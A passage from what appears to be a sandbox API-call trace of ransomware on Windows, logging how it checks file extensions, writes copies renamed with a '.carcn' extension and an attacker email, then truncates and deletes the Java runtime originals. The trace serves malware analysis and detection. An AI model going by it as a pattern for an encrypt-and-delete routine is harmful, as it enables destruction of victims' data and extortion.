Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.020] lstrlenW (lpString=".zip") returned 4 [0265.021] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.021] lstrlenW (lpString=".rar") returned 4 [0265.021] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.021] lstrlenW (lpString=".bz2") returned 4 [0265.021] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.021] lstrlenW (lpString=".7z") returned 3 [0265.021] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.021] lstrlenW (lpString=".dbf") returned 4 [0265.021] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.021] lstrlenW (lpString=".1cd") returned 4 [0265.021] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 68 [0265.021] lstrlenW (lpString=".jpg") returned 4 [0265.021] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.021] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0265.021] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22 [0265.021] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0265.022] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=317896) returned 1 [0265.022] CloseHandle (hObject=0x558) returned 1 [0265.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0265.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.022] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0265.022] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.023] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.023] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0265.023] GetLastError () returned 0x0 [0265.023] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0265.117] WriteFile (in: hFile=0x55c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0265.122] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.122] WriteFile (in: hFile=0x55c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x100, lpOverlapped=0x0) returned 1 [0265.122] SetEndOfFile (hFile=0x55c) returned 1 [0265.122] CloseHandle (hObject=0x55c) returned 1 [0265.133] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.133] SetEndOfFile (hFile=0x558) returned 1 [0265.144] CloseHandle (hObject=0x558) returned 1 [0265.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0265.145] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0265.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.146] lstrlenW (lpString=".doc") returned 4 [0265.146] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.146] lstrlenW (lpString=".docx") returned 5 [0265.146] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0265.146] lstrlenW (lpString=".pdf") returned 4 [0265.146] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.146] lstrlenW (lpString=".xls") returned 4 [0265.146] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.146] lstrlenW (lpString=".xlsx") returned 5 [0265.146] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0265.146] lstrlenW (lpString=".ppt") returned 4 [0265.146] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.146] lstrlenW (lpString=".zip") returned 4 [0265.146] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.146] lstrlenW (lpString=".rar") returned 4 [0265.147] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.147] lstrlenW (lpString=".bz2") returned 4 [0265.147] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.147] lstrlenW (lpString=".7z") returned 3 [0265.147] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.147] lstrlenW (lpString=".dbf") returned 4 [0265.147] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.147] lstrlenW (lpString=".1cd") returned 4 [0265.147] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.147] lstrlenW (lpString=".jpg") returned 4 [0265.147] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.147] lstrlenW (lpString=".doc") returned 4 [0265.147] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.147] lstrlenW (lpString=".docx") returned 5 [0265.147] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0265.147] lstrlenW (lpString=".pdf") returned 4 [0265.147] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.147] lstrlenW (lpString=".xls") returned 4 [0265.148] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.148] lstrlenW (lpString=".xlsx") returned 5 [0265.148] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0265.148] lstrlenW (lpString=".ppt") returned 4 [0265.148] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.148] lstrlenW (lpString=".zip") returned 4 [0265.148] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.148] lstrlenW (lpString=".rar") returned 4 [0265.148] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.148] lstrlenW (lpString=".bz2") returned 4 [0265.148] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.148] lstrlenW (lpString=".7z") returned 3 [0265.148] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.148] lstrlenW (lpString=".dbf") returned 4 [0265.148] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.148] lstrlenW (lpString=".1cd") returned 4 [0265.148] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0265.148] lstrlenW (lpString=".jpg") returned 4 [0265.148] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.149] lstrcmpiW (lpString1=".ttf", lpString2=".carcn") returned 1 [0265.149] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0265.149] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0265.149] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=234068) returned 1 [0265.149] CloseHandle (hObject=0x558) returned 1 [0265.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0265.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.150] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0265.150] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.150] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0265.151] GetLastError () returned 0x0 [0265.151] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x39254, lpOverlapped=0x0) returned 1 [0265.320] WriteFile (in: hFile=0x55c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x39260, lpOverlapped=0x0) returned 1 [0265.773] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.773] WriteFile (in: hFile=0x55c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x104, lpOverlapped=0x0) returned 1 [0265.773] SetEndOfFile (hFile=0x55c) returned 1 [0265.774] CloseHandle (hObject=0x55c) returned 1 [0265.924] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.924] SetEndOfFile (hFile=0x558) returned 1 [0265.930] CloseHandle (hObject=0x558) returned 1 [0265.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0265.931] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0265.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.932] lstrlenW (lpString=".doc") returned 4 [0265.932] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.932] lstrlenW (lpString=".docx") returned 5 [0265.932] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0265.932] lstrlenW (lpString=".pdf") returned 4 [0265.932] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.932] lstrlenW (lpString=".xls") returned 4 [0265.932] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.932] lstrlenW (lpString=".xlsx") returned 5 [0265.933] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0265.933] lstrlenW (lpString=".ppt") returned 4 [0265.933] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.933] lstrlenW (lpString=".zip") returned 4 [0265.933] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.933] lstrlenW (lpString=".rar") returned 4 [0265.933] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.933] lstrlenW (lpString=".bz2") returned 4 [0265.933] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.933] lstrlenW (lpString=".7z") returned 3 [0265.933] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.933] lstrlenW (lpString=".dbf") returned 4 [0265.933] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.933] lstrlenW (lpString=".1cd") returned 4 [0265.933] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.933] lstrlenW (lpString=".jpg") returned 4 [0265.933] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.933] lstrlenW (lpString=".doc") returned 4 [0265.933] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0265.934] lstrlenW (lpString=".docx") returned 5 [0265.934] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0265.934] lstrlenW (lpString=".pdf") returned 4 [0265.934] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0265.934] lstrlenW (lpString=".xls") returned 4 [0265.934] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0265.934] lstrlenW (lpString=".xlsx") returned 5 [0265.934] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0265.934] lstrlenW (lpString=".ppt") returned 4 [0265.934] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0265.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.934] lstrlenW (lpString=".zip") returned 4 [0265.934] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0265.934] lstrlenW (lpString=".rar") returned 4 [0265.934] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0265.934] lstrlenW (lpString=".bz2") returned 4 [0265.934] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0265.934] lstrlenW (lpString=".7z") returned 3 [0265.934] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0265.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.934] lstrlenW (lpString=".dbf") returned 4 [0265.934] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0265.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.934] lstrlenW (lpString=".1cd") returned 4 [0265.934] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0265.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0265.934] lstrlenW (lpString=".jpg") returned 4 [0265.935] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0265.935] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0265.935] lstrlenW (lpString="jce.jar") returned 7 [0265.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.074] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=116446) returned 1 [0266.074] CloseHandle (hObject=0x538) returned 1 [0266.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0266.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0266.076] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.076] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.076] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0266.077] GetLastError () returned 0x0 [0266.077] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0266.086] WriteFile (in: hFile=0x558, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0266.089] ReadFile (in: hFile=0x538, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.089] WriteFile (in: hFile=0x558, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xe2, lpOverlapped=0x0) returned 1 [0266.089] SetEndOfFile (hFile=0x558) returned 1 [0266.089] CloseHandle (hObject=0x558) returned 1 [0266.093] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.093] SetEndOfFile (hFile=0x538) returned 1 [0266.101] CloseHandle (hObject=0x538) returned 1 [0266.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0266.102] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0266.103] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.103] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.103] lstrlenW (lpString=".doc") returned 4 [0266.103] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0266.103] lstrlenW (lpString=".docx") returned 5 [0266.103] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0266.103] lstrlenW (lpString=".pdf") returned 4 [0266.103] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0266.103] lstrlenW (lpString=".xls") returned 4 [0266.103] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0266.103] lstrlenW (lpString=".xlsx") returned 5 [0266.103] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0266.103] lstrlenW (lpString=".ppt") returned 4 [0266.103] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0266.103] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.103] lstrlenW (lpString=".zip") returned 4 [0266.103] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0266.103] lstrlenW (lpString=".rar") returned 4 [0266.103] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0266.103] lstrlenW (lpString=".bz2") returned 4 [0266.103] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0266.103] lstrlenW (lpString=".7z") returned 3 [0266.104] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0266.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.104] lstrlenW (lpString=".dbf") returned 4 [0266.104] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0266.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.104] lstrlenW (lpString=".1cd") returned 4 [0266.104] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0266.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.104] lstrlenW (lpString=".jpg") returned 4 [0266.104] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0266.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.104] lstrlenW (lpString=".doc") returned 4 [0266.104] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0266.104] lstrlenW (lpString=".docx") returned 5 [0266.104] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0266.104] lstrlenW (lpString=".pdf") returned 4 [0266.104] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0266.104] lstrlenW (lpString=".xls") returned 4 [0266.104] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0266.104] lstrlenW (lpString=".xlsx") returned 5 [0266.104] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0266.104] lstrlenW (lpString=".ppt") returned 4 [0266.104] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0266.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0266.104] lstrlenW (lpString=".zip") returned 4 [0266.104] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0266.105] lstrlenW (lpString=".rar") returned 4 [0266.105] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0266.105] lstrlenW (lpString=".bz2") returned 4 [0266.105] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0266.105] lstrlenW (lpString=".7z") returned 3 [0266.105] 